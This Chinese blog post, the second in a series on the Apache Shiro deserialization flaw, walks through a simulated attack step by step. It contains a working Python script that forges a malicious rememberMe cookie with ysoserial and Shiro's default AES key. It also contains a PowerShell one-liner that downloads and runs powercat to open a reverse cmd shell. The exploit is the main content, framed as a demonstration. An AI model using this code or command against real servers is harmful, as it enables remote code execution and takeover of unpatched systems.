shiro反序列化漏洞分析、模拟攻击及修复(二)

shiro反序列化漏洞模拟攻击

shiro反序列化漏洞分析、模拟攻击及修复(一)

shiro反序列化漏洞分析、模拟攻击及修复(三)

得知cookie的流程后,我们可以根据其处理流程进行恶意请求数据构造,首先使用ysoserial将恶意数据进行序列化,其次将序列化后的数据进行AES加密,然后将AES密文进行BASE64编码,最后得到精心构造的包含恶意请求的rememberMe内容。

这里我们按照前16字节的密钥–>后面加入序列化参数–>AES加密–>base64编码–>发送cookie,在power shell中利用反弹shell的方式模拟恶意请求攻击的过程。

1.首先我们需要产生payload的 ysoserial ,执行下列命令,可以获取到需要的 jar 文件。

shiro反序列化漏洞分析、模拟攻击及修复(二)_第1张图片

2.生成payload的python代码如下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

3.运行代码,构造rememberMe的内容。

4.接下来制作反弹shell的代码。

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 127.0.0.1 -p 9999 -e cmd

5.使用ysoserial中JRMP监听模块,监听1099端口注意这里的端口是刚才生成rememberMe值的端口。再加上反弹shell的代码。

6.监听反弹shell命令。

7.将生成的cookie放入请求包中,使用httpie发送请求。

shiro反序列化漏洞分析、模拟攻击及修复(二)_第2张图片

8.反弹shell命令监听成功,成功打开cmd,模拟攻击成功。

shiro反序列化漏洞分析、模拟攻击及修复(二)_第3张图片

 

你可能感兴趣的:(shiro反序列化漏洞分析、模拟攻击及修复(二))